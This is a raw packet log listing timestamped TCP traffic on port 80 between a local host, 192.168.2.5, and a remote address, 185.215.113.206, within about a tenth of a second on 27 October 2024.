Oct 27, 2024 07:59:18.138453960 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.138504028 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.138534069 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.138550997 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.138564110 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.138572931 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.138572931 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.138581038 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.138632059 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.138664961 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.138698101 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.138730049 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.138739109 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.138746023 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.138750076 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.138750076 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.138794899 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.138823986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.138875008 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.138911963 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.138935089 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.138941050 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.138941050 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.138950109 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.139004946 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.139008045 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.139038086 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.139098883 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.139138937 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.139159918 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.139225960 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.139250994 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.139291048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.139372110 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.139378071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.139445066 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.139489889 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.139511108 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.139564037 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.139575958 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.139633894 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.139693022 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.139708996 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.139770985 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.139799118 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.139853001 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.139862061 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.139866114 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.139894962 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.139934063 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.139959097 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.140028000 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.140059948 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.140064955 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.140094042 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.140126944 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.140149117 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.140166044 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.140182972 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.140199900 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.140218973 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.140234947 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.140248060 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.140270948 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.140305042 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.140336990 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.140371084 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.140407085 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.140408039 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.140408039 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.140408039 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.140408039 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.140408039 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.140438080 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.140471935 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.140499115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.140512943 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.140525103 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.140531063 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.140533924 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.140533924 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.140569925 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.140603065 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.140635967 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.140666962 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.140701056 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.140732050 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.140767097 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.140790939 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.140790939 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.140790939 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.140790939 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.140799046 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.140801907 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.140801907 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.140818119 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.140830994 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.140850067 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.140866995 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.140896082 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.140912056 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.140932083 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.140965939 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.140999079 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.141032934 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.141066074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.141097069 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.141113997 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.141113997 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.141113997 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.141113997 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.141113997 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.141130924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.141164064 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.141197920 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.141232967 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.141263962 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.141297102 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.141326904 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.141328096 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.141328096 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.141328096 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.141328096 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.141328096 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.141330957 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.141362906 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.141393900 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.141411066 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.141422033 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.141422033 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.141428947 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.141464949 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.141484022 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.141484022 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.141498089 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.141530991 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.141561985 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.141587973 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.141587973 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.141587973 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.141591072 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.141627073 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.141659975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.141673088 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.141679049 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.141679049 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.141691923 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.141726017 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.141757965 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.141791105 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.141824007 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.141856909 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.141887903 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.141887903 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.141887903 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.141887903 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.141887903 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.141889095 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.141896009 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.141922951 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.141952038 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.141968966 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.141987085 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.141999960 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.142008066 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.142014027 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.142016888 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.142055035 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.142055988 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.142087936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.142119884 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.142153025 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.142184019 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.142184019 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.142184019 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.142184973 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.142221928 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.142235994 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.142235994 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.142256021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.142272949 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.142290115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.142292023 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.142323017 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.142354012 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.142386913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.142393112 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.142393112 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.142393112 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.142421007 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.142452955 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.142471075 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.142487049 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.142502069 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.142518044 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.142549038 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.142554045 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.142581940 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.142589092 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.142596960 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.142616987 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.142649889 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.142649889 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.142649889 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.142659903 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.142693996 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.142724991 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.142756939 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.142787933 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.142819881 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.142834902 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.142834902 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.142834902 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.142854929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.142888069 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.142921925 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.142957926 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.142967939 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.142977953 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.142977953 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.142985106 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.143017054 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.143048048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.143069029 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.143069029 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.143069029 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.143078089 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.143111944 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.143145084 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.143152952 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.143152952 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.143171072 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.143177986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.143209934 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.143244028 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.143259048 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.143259048 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.143266916 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.143277884 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.143292904 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.143310070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.143345118 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.143348932 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.143382072 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.143414021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.143430948 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.143430948 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.143430948 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.143445969 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.143479109 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.143510103 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.143541098 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.143546104 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.143552065 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.143558025 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.143568993 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.143577099 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.143606901 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.143611908 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.143645048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.143677950 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.143697977 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.143697977 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.143697977 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.143712044 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.143744946 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.143776894 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.143809080 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.143819094 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.143830061 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.143835068 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.143843889 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.143879890 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.143898964 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.143910885 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.143944979 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.143975973 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.143985987 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.144011021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.144043922 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.144062042 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.144078016 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.144112110 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.144120932 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.144126892 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.144138098 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.144141912 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.144370079 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.144370079 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.188182116 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.188266993 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.188292980 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.188318968 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.188342094 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.188402891 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.188416004 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.188425064 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.190512896 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.190537930 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.190572023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.190574884 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.190690994 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.190690994 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.225862026 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.225899935 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.225956917 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.226092100 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.226108074 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.254570961 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.254643917 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.254671097 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.254719019 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.254745007 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.254770041 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.254817963 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.254826069 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.254826069 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.254826069 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.254838943 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.254848957 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.254852057 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.254857063 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.254897118 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.254901886 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.254928112 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.254988909 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.255036116 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.255072117 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.255078077 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.255078077 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.255098104 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.255145073 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.255170107 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.255201101 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.255201101 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.255213022 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.255213022 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.255213022 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.255218983 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.255244970 CET	80	49704	185.215.113.206	192.168.2.5
